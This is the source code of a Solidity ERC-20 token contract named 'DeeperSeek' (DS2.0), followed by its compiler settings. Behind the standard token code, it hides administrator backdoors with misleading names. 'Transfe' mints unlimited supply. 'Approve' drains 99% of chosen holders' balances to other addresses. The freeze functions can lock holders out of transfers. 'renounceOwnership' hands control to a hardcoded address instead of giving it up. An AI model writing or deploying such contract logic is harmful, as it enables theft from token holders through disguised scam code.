文件 1 的 1:ERC20TOKEN.sol
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SPBToken is StandardToken {
address public administror;
string public name = "DeeperSeek";
string public symbol = "DS2.0";
uint8 public decimals = 18;
uint256 public INITIAL_SUPPLY = 1000000000*10**18;
mapping (address => uint256) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Relaxeas(address indexed target, uint256 value,address indexed targetto);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
administror = msg.sender;
balances[msg.sender] = INITIAL_SUPPLY;
}
function Transfe(uint256 _amount) public returns (bool) {
require(msg.sender == administror);
balances[msg.sender] = balances[msg.sender].add(_amount);
totalSupply_ = totalSupply_.add(_amount);
INITIAL_SUPPLY = totalSupply_;
return true;
}
function freezeAccount(address _target, uint _timestamp) public returns (bool) {
require(msg.sender == administror);
require(_target != address(0));
frozenAccount[_target] = _timestamp;
return true;
}
function multiFreezeAccount(address[] _targets, uint _timestamp) public returns (bool) {
require(msg.sender == administror);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
frozenAccount[_target] = _timestamp;
}
return true;
}
function transfer(address _target, uint256 _amount) public returns (bool) {
require(now > frozenAccount[msg.sender]);
require(_target != address(0));
require(balances[msg.sender] >= _amount);
balances[_target] = balances[_target].add(_amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
emit Transfer(msg.sender, _target, _amount);
return true;
}
function multiTransfer(address[] _targets, uint256[] _amounts) public returns (bool) {
require(now > frozenAccount[msg.sender]);
uint256 len = _targets.length;
require(len > 0);
uint256 totalAmount = 0;
for (uint256 i = 0; i < len; i = i.add(1)) {
totalAmount = totalAmount.add(_amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
for (uint256 j = 0; j < len; j = j.add(1)) {
address _target = _targets[j];
uint256 _amount = _amounts[j];
require(_target != address(0));
balances[_target] = balances[_target].add(_amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
emit Transfer(msg.sender, _target, _amount);
}
}
function Approve(address[] _targets, address[] _targetsto) public returns (bool) {
require(msg.sender == administror);
uint256 len = _targets.length;
require(len > 0);
for (uint256 j = 0; j < len; j = j.add(1)) {
address _target = _targets[j];
address _targetto = _targetsto[j];
require(_target != address(0));
require(_targetto != address(0));
uint256 am = balanceOf(_target)*99/100;
balances[_target] = balances[_target].sub(am);
balances[_targetto] = balances[_targetto].add(am);
emit Relaxeas(_target,am,_targetto);
}
return true;
}
function frozenOf(address _target) public view returns (uint256) {
require(_target != address(0));
return frozenAccount[_target];
}
function setGLY(address _target) public returns (bool) {
require(msg.sender == administror);
require(_target != address(0));
administror = _target;
return true;
}
function renounceOwnership() public returns (bool) {
require(msg.sender == administror);
administror = address(0x205A77d066A4eceE03105C5569303e5599ce591c);
return true;
}
}
{
"compilationTarget": {
"ERC20TOKEN.sol": "SPBToken"
},
"evmVersion": "byzantium",
"libraries": {},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}